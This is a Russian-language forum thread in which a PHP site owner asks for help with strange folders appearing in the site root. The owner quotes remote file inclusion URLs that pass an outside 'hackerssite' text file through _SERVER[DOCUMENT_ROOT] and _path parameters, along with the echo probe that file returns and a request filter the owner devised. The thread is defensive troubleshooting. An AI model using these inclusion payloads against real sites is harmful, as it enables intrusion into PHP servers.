Разное

В корне сайта стали появляться левые папки.
Анализ выявил, что создают их путём модификации урла:

http://www.mysite.com/some/path////?_SERVER[DOCUMENT_ROOT]=http://www.hackerssite.com//something.txt?

Есть варианты:

http://www.mysite.com/some/path/config.inc.php/?_path=http://www.hackerssite.com//something.txt?

Но никакого config.inc.php нет. Да и каталога /some/path/ в реале на сервере не существует.

А я ума не приложу, что и как можно таким образом сделать. Помогите разобраться, плиз, что это за фигня.

a register_globals выключен?

Да

PS. На сервере стоит PHP 5.2

А если самому запустить? Создадутся? Тогда и отлаживать полегче будет...

Создаётся.

Только я технологию этого дела понять не могу :(

Если бы это был внедрённых скрипт, то все обращения бы шли к нему в определённую папку.

А так, получается что это XSS?

логично было бы начать с изучения something.txt

something.txt выдаёт всякую фигню по типу:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Я так понимаю реальный код прямым обращением через браузер не увидеть.

Я предполагал, что это php inluding. Но непонятно как это можно осуществить с выключенными register_globals

Судя по всему, ваш код сам себе гадит... проверяйте логику скрипта...

Вы думаете он сам себе посылает эти запросы? :)

Нет, я думаю что он сам создает каталоги только на основании того, что "url какой-то странный". Как видите, в хакерском коде ничего деструктивного... да и не исполняется он, наверняка.

Я вот тоже полагал, что нереально удалённым кодом создать каталог у меня на сервере, у которого владелец апач будет.

Скорее всего да, мой код где-то чудит. Спасибо, буду разбираться с ним.

>Анализ выявил, что создают их путём модификации урла:
При этом содержимое Вашего скрипта никак не влияет на процесс атаки?

какого скрипта?
Понятно, что я могу тупо резать обращения по признаку:

if(stripos($_SERVER['REQUEST_URI'],'_path') !== false || stripos($_SERVER['REQUEST_URI'],'_SERVER') !== false){    exit; }

и тогда проблем не будет. Но мне хочется суть явления понять.

ну почему же.
Если эта строка и вправду помогает, значит атакуемому способствует какой-то Ваш код, исполняющийся ниже.
Я-то полагал, что каталоги возникают еще до выполнения текста скрипта.

Я тоже так полагал :)

Теперь понял, что дело, скорее всего, в моём коде.

Спасибо за помощь.